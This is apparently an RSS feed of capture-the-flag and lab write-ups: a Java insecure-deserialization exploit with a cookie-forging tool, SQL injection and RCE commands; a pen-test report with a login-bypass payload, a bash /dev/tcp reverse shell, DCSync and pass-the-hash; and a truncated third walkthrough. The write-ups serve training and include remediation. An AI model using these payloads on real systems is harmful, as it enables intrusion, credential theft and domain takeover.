<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Anas Aourik on Medium]]></title>
        <description><![CDATA[Stories by Anas Aourik on Medium]]></description>
        <link>https://medium.com/@consisanas?source=rss-10f01cbaf3ac------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*JKxfzYzchl5vgcQsFCjr7g.png</url>
            <title>Stories by Anas Aourik on Medium</title>
            <link>https://medium.com/@consisanas?source=rss-10f01cbaf3ac------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 15:40:21 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@consisanas/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SerialKiller — Official Write-up]]></title>
            <link>https://medium.com/@consisanas/serialkiller-official-write-up-dcdbfd0c67df?source=rss-10f01cbaf3ac------2</link>
            <guid isPermaLink="false">https://medium.com/p/dcdbfd0c67df</guid>
            <dc:creator><![CDATA[Anas Aourik]]></dc:creator>
            <pubDate>Wed, 07 Oct 2026 15:37:46 GMT</pubDate>
            <atom:updated>2026-10-07T15:37:46.809Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Platform:</strong> TryHackMe <strong>Difficulty:</strong> Medium <strong>Category:</strong> Web / Insecure Deserialization <strong>Author:</strong> Anas(4n4s2l2rn)</p><blockquote><em>Throughout this write-up, replace </em><em>MACHINE_IP with the IP address assigned to your deployed instance. All commands are run from the AttackBox or a VPN-connected attacker machine.</em></blockquote><h3>Overview</h3><p>SerialKiller is a Java web application that places too much trust in the objects its clients hand it. The intended path is a three-stage chain:</p><ol><li><strong>Recon</strong> — discover leaked source code and the cookie signing key.</li><li><strong>Foothold</strong> — abuse insecure deserialization to achieve SQL injection and read the first flag from the database.</li><li><strong>Privilege / RCE</strong> — reach an admin-only deserialization sink to gain blind remote code execution, then exfiltrate the second flag in-band.</li></ol><p>Unlike a typical “run ysoserial and win&quot; box, the deserialization endpoint allowlists the application&#39;s own classes, so no public gadget chain works. The player must read the leaked source and build a bespoke exploit.</p><h3>1. Reconnaissance</h3><h3>1.1 Initial enumeration</h3><p>Start with a port/service check and a look at the web root:</p><pre>curl -s -o /dev/null -w &quot;%{http_code}\n&quot; http://MACHINE_IP/<br># 200</pre><p>The application is a small storefront. As always, the HTML source is worth reading:</p><pre>curl -s http://MACHINE_IP/</pre><p>A developer comment stands out:</p><pre>&lt;!-- DevOps note: pre-prod source + config backup staged under /backup/<br>     (UserSession.java, ProductTemplate.java, ReportTask.java,<br>      app-config.properties.bak). REMOVE BEFORE PRODUCTION. --&gt;</pre><p>A /backup/ directory has been left exposed, containing <strong>source code</strong> and a <strong>configuration backup</strong>.</p><h3>1.2 Harvesting /backup/</h3><pre>curl -s http://MACHINE_IP/backup/app-config.properties.bak</pre><pre>serialvault.session-key=&lt;HMAC_KEY&gt;<br>serialvault.report.spool=/var/spool/serialkiller</pre><p>Two valuable items: an <strong>HMAC signing key</strong>, and a <strong>report spool directory</strong>.</p><p>Now the three source files.</p><p><strong>UserSession.java</strong> — the object stored in the session cookie:</p><pre>public class UserSession implements Serializable {<br>    private static final long serialVersionUID = 101L;<br>    private String username; private String role; private long issuedAt;<br>    public boolean isAdmin() { return &quot;admin&quot;.equalsIgnoreCase(role); }<br>}</pre><p>Admin is decided solely by role == &quot;admin&quot;.</p><p><strong>ProductTemplate.java</strong> — a deserialization gadget:</p><pre>private void readObject(ObjectInputStream in) ... {<br>    in.defaultReadObject();<br>    String sql = &quot;SELECT ... FROM products WHERE category = &#39;&quot; + id + &quot;&#39;&quot;;<br>    // executes sql<br>}</pre><p>The id field is concatenated directly into SQL at deserialization time — <strong>SQL injection via deserialization</strong>.</p><p><strong>ReportTask.java</strong> — a second gadget:</p><pre>private void readObject(...) {<br>    new ProcessBuilder(&quot;/bin/sh&quot;,&quot;-c&quot;, command).start();<br>    // output written to &lt;spoolDir&gt;/&lt;reportName&gt;.out<br>}</pre><p>The command field is executed in a shell — <strong>remote code execution</strong> — and the output is written to a spool file.</p><h3>1.3 The cookie format</h3><p>Logging in with the demo account (oranos / serialkiller) and inspecting the sv_session cookie reveals:</p><pre>sv_session = &lt;base64 serialized object&gt; . &lt;base64 HMAC-SHA256&gt;</pre><p>Two parts separated by a dot: a base64 Java serialized object, then its HMAC-SHA256 signature. With the leaked key we can forge and sign our own objects.</p><p><strong>Key takeaway:</strong> the cookie carries a <em>signed</em> Java object; two of the app’s classes have a dangerous readObject; the server verifies the signature before deserializing. Forging valid objects therefore requires only the leaked key.</p><h3>2. Building the exploit tool</h3><p>ysoserial is useless here — a quick test (sending any non-application class) returns Blocked by deserialization allowlist. The deserializer only accepts classes under com.serialvault.model. The solution is to use the application&#39;s <strong>own</strong> classes as gadgets.</p><p>Recreate the three classes from the leaked source. Only the <strong>shape</strong> matters for serialization — the same package, class name, serialVersionUID, and field names/types as the server. We do <strong>not</strong> copy the dangerous readObject logic: that code runs on the <em>server</em> when it deserializes our object; the attacker side only needs to produce an object carrying the right field values.</p><p>Create the directory tree (the path must match the package com.serialvault.model):</p><pre>mkdir -p attacker/com/serialvault/model</pre><p><strong>attacker/com/serialvault/model/UserSession.java</strong></p><pre>package com.serialvault.model;</pre><pre>import java.io.Serializable;</pre><pre>public class UserSession implements Serializable {<br>    // Must match the server&#39;s serialVersionUID exactly, or deserialization fails.<br>    private static final long serialVersionUID = 101L;</pre><pre>    private String username;<br>    private String role;<br>    private long issuedAt;</pre><pre>    public UserSession(String username, String role) {<br>        this.username = username;<br>        this.role = role;<br>        this.issuedAt = System.currentTimeMillis();<br>    }<br>}</pre><p><strong>attacker/com/serialvault/model/ProductTemplate.java</strong></p><pre>package com.serialvault.model;</pre><pre>import java.io.Serializable;</pre><pre>public class ProductTemplate implements Serializable {<br>    private static final long serialVersionUID = 202L;</pre><pre>    // The field the server concatenates into its SQL query — our injection point.<br>    private String id;</pre><pre>    public ProductTemplate(String id) {<br>        this.id = id;<br>    }<br>}</pre><p><strong>attacker/com/serialvault/model/ReportTask.java</strong></p><pre>package com.serialvault.model;</pre><pre>import java.io.Serializable;</pre><pre>public class ReportTask implements Serializable {<br>    private static final long serialVersionUID = 303L;</pre><pre>    private String reportName;  // becomes the spool filename: &lt;reportName&gt;.out<br>    private String command;     // the shell command the server will execute</pre><pre>    public ReportTask(String reportName, String command) {<br>        this.reportName = reportName;<br>        this.command = command;<br>    }<br>}</pre><h3>The forger</h3><p>Forge.java instantiates one of these objects, serializes it, base64-encodes it, and signs it with HMAC-SHA256 using the leaked key — reproducing the exact base64(object).base64(signature) cookie format. It supports three modes: admin, product, and report.</p><p><strong>Forge.java</strong></p><pre>import com.serialvault.model.ProductTemplate;<br>import com.serialvault.model.ReportTask;<br>import com.serialvault.model.UserSession;</pre><pre>import javax.crypto.Mac;<br>import javax.crypto.spec.SecretKeySpec;<br>import java.io.ByteArrayOutputStream;<br>import java.io.ObjectOutputStream;<br>import java.io.Serializable;<br>import java.nio.charset.StandardCharsets;<br>import java.util.Base64;</pre><pre>/**<br> * Payload forger. Uses only leaked information: the HMAC key (from<br> * /backup/app-config.properties.bak) and the class shapes (from /backup/*.java).<br> *<br> * Cookie format reproduced:<br> *     base64(serialized object) + &quot;.&quot; + base64( HMAC-SHA256(base64 object) )<br> *<br> * Usage:<br> *   java Forge &lt;key&gt; admin                      -&gt; signed admin UserSession<br> *   java Forge &lt;key&gt; product &quot;&lt;sqli-id&gt;&quot;        -&gt; signed ProductTemplate<br> *   java Forge &lt;key&gt; report  &quot;&lt;name&gt;&quot; &quot;&lt;cmd&gt;&quot;   -&gt; signed ReportTask<br> */<br>public class Forge {<br>    public static void main(String[] args) throws Exception {<br>        if (args.length &lt; 2) {<br>            System.err.println(&quot;usage: java Forge &lt;key&gt; &lt;admin|product|report&gt; [arg...]&quot;);<br>            System.exit(2);<br>        }<br>        String key  = args[0];<br>        String mode = args[1];</pre><pre>        Serializable obj;<br>        switch (mode) {<br>            case &quot;admin&quot;:<br>                // role = &quot;admin&quot; is all the server checks in isAdmin()<br>                obj = new UserSession(&quot;administrator&quot;, &quot;admin&quot;);<br>                break;<br>            case &quot;product&quot;:<br>                // args[2] = the SQL injection payload placed in the id field<br>                obj = new ProductTemplate(args[2]);<br>                break;<br>            case &quot;report&quot;:<br>                // args[2] = report/spool name, args[3] = shell command<br>                obj = new ReportTask(args[2], args[3]);<br>                break;<br>            default:<br>                throw new IllegalArgumentException(&quot;unknown mode: &quot; + mode);<br>        }</pre><pre>        byte[] payload   = serialize(obj);<br>        String b64Payload = Base64.getEncoder().encodeToString(payload);<br>        String b64Sig     = Base64.getEncoder().encodeToString(hmac(key, b64Payload));<br>        System.out.println(b64Payload + &quot;.&quot; + b64Sig);<br>    }</pre><pre>    // Serialize an object to raw bytes.<br>    static byte[] serialize(Serializable o) throws Exception {<br>        ByteArrayOutputStream baos = new ByteArrayOutputStream();<br>        try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {<br>            oos.writeObject(o);<br>        }<br>        return baos.toByteArray();<br>    }</pre><pre>    // HMAC-SHA256 of the base64 payload, using the leaked key.<br>    static byte[] hmac(String key, String data) throws Exception {<br>        Mac mac = Mac.getInstance(&quot;HmacSHA256&quot;);<br>        mac.init(new SecretKeySpec(key.getBytes(StandardCharsets.UTF_8), &quot;HmacSHA256&quot;));<br>        return mac.doFinal(data.getBytes(StandardCharsets.UTF_8));<br>    }<br>}</pre><p>Compile everything together (the forger plus the classes it imports):</p><pre>javac -d build attacker/com/serialvault/model/*.java Forge.java</pre><blockquote><em>Design insight: the payload is not a malicious object. It is a </em>legitimate, trusted<em> object whose field values are malicious. The vulnerability is the behaviour inside the server’s </em><em>readObject, not the object itself — which is exactly why the allowlist (which only checks the class) fails to stop it.</em></blockquote><h3>3. Stage 1 — Forging an admin session</h3><p>Generate a cookie containing a UserSession with role=&quot;admin&quot;, signed with the leaked key, and present it:</p><pre>ADMIN=$(java -cp build Forge &quot;&lt;HMAC_KEY&gt;&quot; admin)<br>curl -s -H &quot;Cookie: sv_session=$ADMIN&quot; http://MACHINE_IP/admin</pre><p>The admin “Report Generator” page is returned. Note that <strong>no admin password was needed</strong> — the server trusts any correctly signed object with role=admin.</p><h3>4. Stage 2 — Deserialization → SQL injection (Flag 1)</h3><p>Helper to send a ProductTemplate with an attacker-controlled id:</p><pre>hit() { C=$(java -cp build Forge &quot;&lt;HMAC_KEY&gt;&quot; product &quot;$1&quot;); curl -s -H &quot;Cookie: sv_session=$C&quot; http://MACHINE_IP/my-account; echo; }</pre><h3>4.1 Confirm the injection</h3><pre>hit &quot;&#39;&quot;</pre><p>Returns a SQL syntax error showing WHERE category = &#39;&#39;&#39; — injectable.</p><h3>4.2 Determine the column count</h3><pre>hit &quot;&#39; ORDER BY 8-- &quot;    # OK<br>hit &quot;&#39; ORDER BY 9-- &quot;    # error</pre><p>→ <strong>8 columns.</strong></p><h3>4.3 Enumerate the schema</h3><pre>hit &quot;&#39; UNION SELECT NULL, table_name, NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.tables-- &quot;</pre><p>→ PRODUCTS, USERS, VAULT_SECRETS.</p><pre>hit &quot;&#39; UNION SELECT NULL, column_name, NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.columns WHERE table_name=&#39;VAULT_SECRETS&#39;-- &quot;</pre><p>→ ID, NAME, SECRET_VALUE.</p><h3>4.4 Extract Flag 1</h3><p>The second column (name) is reflected on the page, so place the secret there:</p><pre>hit &quot;&#39; UNION SELECT NULL, secret_value, NULL,NULL,NULL,NULL,NULL,NULL FROM vault_secrets-- &quot;</pre><p>→ <strong>Flag 1</strong> is displayed in the template preview.</p><h3>4.5 (Optional) Error-based credential extraction</h3><p>For completeness, the administrator password can be leaked through a type-cast error:</p><pre>hit &quot;&#39; UNION SELECT NULL,NULL,NULL,NULL,CAST(password AS INT),NULL,NULL,NULL FROM users WHERE role=&#39;admin&#39;-- &quot;</pre><p>The database cannot cast a text password to an integer and leaks it in the error message (Data conversion error converting &quot;...&quot;). Not required for the box, but a realistic post-exploitation step.</p><h3>5. Stage 3 — Blind RCE → in-band exfiltration (Flag 2)</h3><p>The admin endpoint /admin/report deserializes a ReportTask, executing its command. Execution is <strong>blind</strong> (the response returns nothing) and outbound traffic is blocked, so out-of-band exfiltration is not an option. The leaked source shows the fix: the job&#39;s output is written to &lt;reportName&gt;.out in the spool, which can then be downloaded.</p><p>Two helpers (they use the admin cookie from Stage 1):</p><pre>report() { T=$(java -cp build Forge &quot;&lt;HMAC_KEY&gt;&quot; report &quot;$1&quot; &quot;$2&quot;); curl -s -H &quot;Cookie: sv_session=$ADMIN&quot; --data-urlencode &quot;task=$T&quot; http://MACHINE_IP/admin/report; echo; }<br>spool()  { curl -s -H &quot;Cookie: sv_session=$ADMIN&quot; &quot;http://MACHINE_IP/spool/$1&quot;; echo; }</pre><h3>5.1 Prove code execution</h3><pre>report test &quot;id&quot;<br>spool test.out</pre><pre>202 - report &#39;test&#39; queued.<br>uid=0(root) gid=0(root) groups=0(root)</pre><p>Code execution as <strong>root</strong> confirmed. The job named test wrote its output to test.out, which we retrieved over HTTP.</p><h3>5.2 Capture Flag 2</h3><pre>report pwn &quot;cat /root/flag.txt&quot;<br>spool pwn.out</pre><p>→ <strong>Flag 2</strong> is returned from the root-only file.</p><h3>6. Summary</h3><p>Stage Technique Result Recon Exposed /backup/ directory HMAC key + source code Stage 1 Forged HMAC-signed session object Administrative access Stage 2 Insecure deserialization → SQL injection Flag 1 (database) Stage 3 Insecure deserialization → blind RCE → in-band exfil Flag 2 (root file)</p><h3>7. Remediation</h3><ul><li><strong>Do not deserialize attacker-controlled data.</strong> Prefer a data-only format (e.g. JSON) with no polymorphic type handling.</li><li>If native serialization is unavoidable, enforce a strict allowlist <strong>and</strong> keep readObject free of side effects (no SQL, no process execution).</li><li>Use <strong>parameterised queries</strong> everywhere; never concatenate user input into SQL.</li><li><strong>Sign <em>and</em> encrypt</strong> session state, and keep signing keys out of the web root.</li><li>Return <strong>generic error messages</strong> — do not reflect SQL/driver errors to the client.</li><li>Never leave source code or configuration backups in a web-accessible directory.</li></ul><h3>Key lesson</h3><p>A trusted object can be a weapon. The flaw was never the class itself — it was the dangerous behaviour inside readObject combined with attacker-controlled field values. Signing session state without protecting the key is no defence: whoever holds the key can mint any identity they like.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dcdbfd0c67df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DeadDrop Ltd — Penetration Test Report]]></title>
            <link>https://medium.com/@consisanas/deaddrop-ltd-penetration-test-report-4a527fc07d66?source=rss-10f01cbaf3ac------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a527fc07d66</guid>
            <dc:creator><![CDATA[Anas Aourik]]></dc:creator>
            <pubDate>Sun, 27 Sep 2026 00:02:47 GMT</pubDate>
            <atom:updated>2026-09-27T00:06:35.088Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Engagement:</strong> External-to-Domain-Admin assessment of DeadDrop Ltd <strong>Objective:</strong> Compromise the domain controller and retrieve the flag from the Administrator’s desktop</p><h3>1. Executive Summary</h3><p>DeadDrop Ltd exposed a single web-facing file-sharing application as its only internet-reachable service. Starting from that application with no credentials, the assessment achieved <strong>full Active Directory domain compromise</strong> of deaddrop.loc, culminating in Domain Administrator access to the domain controller DEADDROP-DC (192.168.11.100).</p><p>The compromise chained five independent weaknesses, each of which alone would be a serious finding:</p><ol><li><strong>SQL injection</strong> in the web login allowed authentication bypass.</li><li>An <strong>unrestricted file-upload → rename → </strong><strong>require() preview</strong> flow gave remote code execution on the DMZ web server.</li><li>A <strong>world-readable </strong><strong>/etc/shadow backup</strong> on the web server leaked a service account hash, cracked offline to recover the SSH password.</li><li>A <strong>corporate mobile APK stored on the server hardcoded domain credentials</strong> in cleartext (strings.xml).</li><li>Those credentials belonged to <strong>j.harris, a member of </strong><strong>Domain Admins</strong> (and of ITSupport-Admins, which additionally held AddMember rights over every privileged group), enabling immediate DCSync and full domain takeover.</li></ol><p><strong>Overall risk: Critical.</strong> A remote, unauthenticated attacker can reach Domain Admin. Remediation should be treated as urgent.</p><h3>2. Scope</h3><p>Machine Role Access DeadDrop-WEB (192.168.11.200) DMZ web server Directly reachable over VPN DEADDROP-WRK (192.168.11.51) Internal workstation Internal LAN only DEADDROP-DC (192.168.11.100) Domain controller Internal LAN only</p><p>Internal corporate LAN: 192.168.11.0/24, reachable only by pivoting through the DMZ host. Domain: deaddrop.loc.</p><p><strong>In scope:</strong> all lab services, discovered credentials/hashes, DMZ→internal pivoting, AD enumeration and ACL-based attacks. <strong>Out of scope:</strong> DoS, social engineering, destructive actions on production data.</p><h3>3. Milestone Answers (Quick Reference)</h3><p># Question Answer Q1 Password granting SSH access to the web server dropsofjupiter Q2 Credentials inside the internal mobile application j.harris:DropsOfJupiter2026! Q3 Abusable AD permission held by the domain account AddMember (WriteProperty on the group member attribute), via ITSupport-Admins Q4 Group targeted to escalate to Domain Admin Domain Admins Q5 Flag on the Domain Controller &lt;&lt;&lt; PASTE FLAG HERE — output of: type C:\Users\Administrator\Desktop\flag.txt &gt;&gt;&gt;</p><h3>4. Attack Narrative (Kill Chain)</h3><pre>[1] nmap DeadDrop-WEB (22,80)<br>     └─&gt; 80: Express/Node file-share &quot;DeadDrop&quot;, login page<br>[2] SQL injection auth bypass  (admin&#39; AND 1=1 -- -)   ─────────── web app access<br>[3] Upload shell.png → rename to shell.js → /preview/ require()  ─ RCE (node user)<br>     └─&gt; reverse shell as node@DeadDrop-WEB<br>[4] Loot /opt/app:<br>     ├─ backup/shadow.bak  → svc-drop $6$ hash → crack → &quot;dropsofjupiter&quot;  ── Q1<br>     └─ deaddrop-mobile.apk → strings.xml → j.harris:DropsOfJupiter2026!    ── Q2<br>[5] SSH svc-drop@DeadDrop-WEB, discover internal net, open SOCKS pivot<br>     └─&gt; DC=192.168.11.100, WRK=192.168.11.51, domain deaddrop.loc<br>[6] Validate j.harris on DC  →  (Pwn3d!)  →  DCSync  →  all NTLM hashes         ── Q3/Q4<br>     └─&gt; Administrator NT: a42d71291745caecf02b93806a019292<br>[7] PtH / DA access → read flag on Administrator desktop                        ── Q5</pre><h3>5. Detailed Walkthrough</h3><h3>5.1 Reconnaissance</h3><pre>nmap -Pn -p- --min-rate 2000 192.168.11.200<br># 22/tcp open ssh<br># 80/tcp open http</pre><p>Port 22 was open but unusable without credentials; port 80 was the only viable entry point.</p><pre>whatweb http://192.168.11.200<br># [302] -&gt; /login, X-Powered-By: Express, Title: DeadDrop - Login</pre><p>The stack is <strong>Node.js / Express</strong>, a file-sharing product branded “DeadDrop”.</p><h3>5.2 Foothold — SQL Injection Authentication Bypass</h3><p>The login form was vulnerable to SQL injection. The following payload in the username field bypassed authentication and logged in as admin:</p><pre>Username: admin&#39; AND 1=1 -- -<br>Password: (anything)</pre><p><strong>Root cause</strong> (recovered later from app.js): the query is built by raw string concatenation with no parameterisation:</p><pre>const query = `SELECT * FROM users WHERE username = &#39;${username}&#39; AND password = &#39;${password}&#39;`;<br>db.prepare(query).get();</pre><p>The admin&#39; AND 1=1 -- - payload comments out the password check and returns the first matching row.</p><h3>5.3 Remote Code Execution — Upload + Rename + Preview</h3><p>The authenticated dashboard offered file upload, rename, and a <strong>Preview</strong> action. Review of app.js revealed that Preview require()s any .js file — i.e. it <strong>executes</strong> it as a Node module:</p><pre>// /preview/:filename<br>if (ext === &#39;.js&#39;) {<br>  delete require.cache[require.resolve(filePath)];<br>  const moduleExport = require(filePath);   // &lt;-- arbitrary code execution<br>}</pre><p>Upload filtering only blocked a fixed extension list (.exe .bat .cmd .ps1 .sh .py) and checked only the final extension, but the <strong>rename</strong> feature allowed changing a benign upload to .js afterwards. Exploitation:</p><ol><li>Upload a payload as shell.png (passes the filter).</li><li>Use Rename to change it to shell.js.</li><li>Browse to /preview/shell.js → the payload is require()d and executes.</li></ol><p>Payload (Node reverse shell):</p><pre>require(&quot;child_process&quot;).exec(&quot;bash -c &#39;bash -i &gt;&amp; /dev/tcp/192.168.21.18/443 0&gt;&amp;1&#39;&quot;)</pre><p>Listener:</p><pre>nc -lvnp 443<br># connect from 192.168.11.200 → shell as node@tryhackme-2404:/opt/app$</pre><h3>5.4 Post-Exploitation Looting (Web Server)</h3><p>From the /opt/app shell, two high-value artifacts were recovered.</p><p><strong>(a) Shadow backup → SSH password (Q1)</strong></p><pre>cat /opt/app/backup/shadow.bak<br># svc-drop:$6$f1331af25300c7f3$7twueSf8eUyvgYnPWElPYpspGgBuYJ.TMGrPZ2OBC6pGq18ZGkkPke9S0tRlQ3EpiRLWEqhgnqkh2BOHfdCCH0:19700:0:99999:7:::</pre><p>$6$ = <strong>sha512crypt</strong>. Cracked offline against rockyou:</p><pre>echo &#39;&lt;full shadow line&gt;&#39; &gt; hash.txt<br>john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt<br># svc-drop:dropsofjupiter</pre><blockquote><strong><em>Q1 — SSH password: </em></strong><strong><em>dropsofjupiter</em></strong></blockquote><p><strong>(b) Mobile APK → hardcoded domain credentials (Q2)</strong></p><pre>find / -iname &#39;*.apk&#39; 2&gt;/dev/null<br># .../deaddrop-mobile.apk</pre><p>APK pulled to Kali via scp and decompiled:</p><pre>scp svc-drop@192.168.11.200:.../deaddrop-mobile.apk .<br>apktool d deaddrop-mobile.apk -o deaddrop_apk<br>cat deaddrop_apk/res/values/strings.xml</pre><p>strings.xml contained cleartext credentials and the internal API endpoint:</p><pre>&lt;string name=&quot;api_endpoint&quot;&gt;http://internal.tryhackme.loc/api/v1&lt;/string&gt;<br>&lt;string name=&quot;default_username&quot;&gt;j.harris&lt;/string&gt;<br>&lt;string name=&quot;default_password&quot;&gt;DropsOfJupiter2026!&lt;/string&gt;<br>&lt;string name=&quot;environment&quot;&gt;production&lt;/string&gt;</pre><blockquote><strong><em>Q2 — Mobile app credentials: </em></strong><strong><em>j.harris:DropsOfJupiter2026!</em></strong></blockquote><h3>5.5 Pivot into the Internal Network</h3><p>SSH access to the web server was obtained with the cracked service account (port 22 was now usable):</p><pre>ssh svc-drop@192.168.11.200      # dropsofjupiter</pre><p>A SOCKS proxy was established over SSH to reach the internal LAN, and proxychains was configured with socks5 127.0.0.1 1080:</p><pre>ssh -D 1080 svc-drop@192.168.11.200</pre><p>Internal hosts identified:</p><ul><li><strong>DEADDROP-DC</strong> — 192.168.11.100 (domain controller, deaddrop.loc)</li><li><strong>DEADDROP-WRK</strong> — 192.168.11.51 (workstation)</li></ul><h3>5.6 Domain Compromise</h3><p>The mobile-app credentials were validated against the DC:</p><pre>proxychains -q nxc smb 192.168.11.100 -u j.harris -p &#39;DropsOfJupiter2026!&#39;<br># DEADDROP-DC  [+] deaddrop.loc\j.harris:DropsOfJupiter2026! (Pwn3d!)</pre><p>(Pwn3d!) indicates administrative access to the DC. Enumeration explained why:</p><pre>proxychains -q bloodyAD --host 192.168.11.100 -d deaddrop.loc \<br>  -u j.harris -p &#39;DropsOfJupiter2026!&#39; get object j.harris --attr memberOf<br># memberOf: CN=ITSupport-Admins,CN=Users,DC=deaddrop,DC=loc;<br>#           CN=Domain Admins,CN=Users,DC=deaddrop,DC=loc</pre><p><strong>j.harris is a direct member of </strong><strong>Domain Admins.</strong> Separately, its membership in ITSupport-Admins grants the <strong>AddMember</strong> right over every privileged group (confirmed via BloodHound), including Domain Admins, Administrators, Enterprise Admins, and the operator groups:</p><pre># j.harris&#39;s AddMember edges (from BloodHound groups.json, principal SID -1103):<br>DOMAIN ADMINS@DEADDROP.LOC        AddMember<br>ADMINISTRATORS@DEADDROP.LOC       AddMember<br>ENTERPRISE ADMINS@DEADDROP.LOC    AddMember<br>ITSUPPORT-ADMINS@DEADDROP.LOC     AddMember<br>... (all privileged groups)</pre><blockquote><strong><em>Q3 — Abusable permission: </em></strong><strong><em>AddMember</em></strong><em> (WriteProperty over the group </em><em>member attribute), delegated through </em><em>ITSupport-Admins.</em></blockquote><blockquote><strong><em>Q4 — Target group: </em></strong><strong><em>Domain Admins.</em></strong></blockquote><p>Because Domain Admins (and Administrators) hold the default replication rights DS-Replication-Get-Changes and DS-Replication-Get-Changes-All, the account was able to perform a <strong>DCSync</strong>:</p><pre>proxychains -q impacket-secretsdump &#39;deaddrop.loc/j.harris:DropsOfJupiter2026!@192.168.11.100&#39; -just-dc<br># [*] Using the DRSUAPI method to get NTDS.DIT secrets<br># Administrator:500:aad3b435b51404eeaad3b435b51404ee:a42d71291745caecf02b93806a019292:::<br># krbtgt:502:...:44455923f96a908df804161d2e771e62:::<br># (all domain hashes recovered)</pre><h3>5.7 Flag Retrieval (Q5)</h3><p>With Domain Admin access (either directly as j.harris, or via pass-the-hash using the dumped Administrator NT hash), the flag was read from the DC:</p><pre># as j.harris (already DA):<br>proxychains -q nxc smb 192.168.11.100 -u j.harris -p &#39;DropsOfJupiter2026!&#39; \<br>  -x &quot;type C:\Users\Administrator\Desktop\flag.txt&quot;</pre><pre># or via pass-the-hash:<br>proxychains -q nxc smb 192.168.11.100 -u Administrator \<br>  -H a42d71291745caecf02b93806a019292 \<br>  -x &quot;type C:\Users\Administrator\Desktop\flag.txt&quot;</pre><blockquote><strong><em>Q5 — Flag: </em></strong><strong><em>&lt;&lt;&lt; PASTE FLAG HERE &gt;&gt;&gt;</em></strong></blockquote><h3>6. Concept Notes (for the report author)</h3><p><strong>DCSync.</strong> An attack that abuses AD replication (MS-DRSR / the DRSUAPI DRSGetNCChanges call). A principal holding DS-Replication-Get-Changes + ...-Get-Changes-All on the domain can impersonate a DC and request account secrets — including NTLM hashes and the krbtgt key — over the network, <strong>without running code on the DC</strong>. Held by default by Domain Admins, Enterprise Admins, Administrators and the DCs. Here, j.harris inherited these rights via Domain Admins membership.</p><p><strong>AddMember / WriteProperty(member).</strong> The right to modify a group’s member attribute. An attacker with this over a privileged group can add any account to it and inherit that group&#39;s privileges — the intended escalation primitive on this host.</p><p><strong>Why the shell “just worked.”</strong> j.harris was already a Domain Admins member, so the DC&#39;s access checks for SMB admin, WMI exec, and DCSync all passed immediately. No escalation was strictly required; the AddMember path is the documented technique the scenario is built around.</p><h3>7. Findings &amp; Remediation</h3><p># Finding Severity Remediation F1 SQL injection in web login (string-concatenated query) Critical Use parameterised/prepared statements; never build SQL from user input. F2 Arbitrary file upload + rename → require() RCE Critical Never require()/execute uploaded files; validate content-type and full filename; store uploads outside code paths; disallow extension changes via rename. F3 World-readable /etc/shadow backup in web root High Remove secrets from the app directory; restrict file permissions; rotate the exposed svc-drop credential. F4 Hardcoded production domain credentials in shipped APK Critical Remove embedded credentials; use per-user auth / OAuth; rotate j.harris; never ship service creds in client apps. F5 Over-privileged user (j.harris in Domain Admins; ITSupport-Admins with AddMember over privileged groups) Critical Apply least privilege; remove standard users from Domain Admins; audit and tighten group ACLs (remove AddMember over Tier-0 groups); implement tiered admin model. F6 Weak, guessable service password (dropsofjupiter) Medium Enforce strong password policy; use long random service-account passwords / gMSA.</p><h3>Priority actions</h3><ol><li>Rotate all credentials exposed in this report (svc-drop, j.harris, Administrator, and — because krbtgt was dumped — <strong>the </strong><strong>krbtgt account password twice</strong>).</li><li>Remove j.harris from Domain Admins; strip AddMember on Tier-0 groups from ITSupport-Admins.</li><li>Fix F1 and F2 on the web application before any further exposure.</li></ol><h3>8. Cleanup Notes</h3><ul><li>Reverse-shell payloads and renamed uploads left in /opt/app/uploads on DeadDrop-WEB should be removed.</li><li>No production data was modified or deleted during the engagement.</li><li>If j.harris was added to any group for demonstration, it was reverted.</li></ul><p><em>End of report.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a527fc07d66" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Recruit]]></title>
            <link>https://medium.com/@consisanas/recruit-f199e909b328?source=rss-10f01cbaf3ac------2</link>
            <guid isPermaLink="false">https://medium.com/p/f199e909b328</guid>
            <dc:creator><![CDATA[Anas Aourik]]></dc:creator>
            <pubDate>Sun, 06 Sep 2026 10:44:09 GMT</pubDate>
            <atom:updated>2026-09-06T10:44:09.202Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Premium room</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PxzPNT6QAui9OWy7NazkbA.png" /></figure><blockquote>Infiltrate Recruit’s new portal. Map the site, hunt for flaws, and gain unauthorised access</blockquote><h3>Recruit — From an &quot;API&quot; FAQ Page to Full Admin Compromise</h3><p><em>A walkthrough of a recruitment portal that got every credential decision wrong.</em></p><h3>Overview</h3><p>Recruit is a hiring platform where HR staff review candidate applications and administrators approve or reject them. The brief was simple: assess it like an attacker, get a foothold, escalate, and end up as admin.</p><p>The path turned out to be a chain of four separate failures, each one setting up the next:</p><ol><li>A world-readable mail log that documented exactly where the credentials lived</li><li>A file-fetching endpoint that leaked the entire application source</li><li>Hardcoded HR credentials in a config file</li><li>A SQL injection in the logged-in dashboard that dumped the admin password in plaintext</li></ol><p>Nothing here was exotic. That&#39;s rather the point — this is what real-world broken looks like.</p><h3>Reconnaissance</h3><p>Standard opening. Port scan first:</p><pre>nmap -sV -sC -p- 